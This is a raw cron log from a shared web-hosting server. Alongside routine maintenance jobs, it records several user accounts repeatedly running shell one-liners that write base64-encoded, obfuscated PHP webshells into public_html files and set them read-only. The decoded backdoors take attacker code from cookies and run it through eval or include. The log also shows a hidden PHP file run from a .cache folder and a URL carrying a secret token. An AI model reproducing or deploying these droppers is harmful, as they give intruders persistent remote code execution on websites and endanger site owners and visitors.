Mar  1 21:44:01 medusa CROND[18128]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:45:01 medusa CROND[4733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 21:45:01 medusa CROND[5051]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 21:45:01 medusa CROND[5052]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:45:01 medusa CROND[5053]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 21:45:01 medusa CROND[5054]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 21:45:01 medusa CROND[5056]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:45:01 medusa CROND[5055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:45:01 medusa CROND[5061]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 21:45:01 medusa CROND[5068]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 21:45:01 medusa CROND[5069]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:45:01 medusa CROND[5074]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:45:01 medusa CROND[5075]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:45:01 medusa CROND[5076]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 21:45:01 medusa CROND[5079]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 21:45:01 medusa CROND[5077]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 21:45:01 medusa CROND[5081]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:45:01 medusa CROND[5085]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:45:01 medusa CROND[5087]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 21:45:01 medusa CROND[5090]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:45:01 medusa CROND[5093]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 21:45:01 medusa CROND[5082]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 21:45:01 medusa CROND[5094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:45:01 medusa CROND[5150]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:46:01 medusa CROND[22717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:46:01 medusa CROND[22870]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:46:01 medusa CROND[22872]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:46:01 medusa CROND[22871]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 21:46:01 medusa CROND[22880]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:46:01 medusa CROND[22882]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:46:01 medusa CROND[22881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:46:01 medusa CROND[22883]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 21:46:01 medusa CROND[22884]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:46:01 medusa CROND[22885]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:46:01 medusa CROND[22888]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:46:01 medusa CROND[22891]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:46:01 medusa CROND[22895]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:46:01 medusa CROND[22896]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:46:01 medusa CROND[22901]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
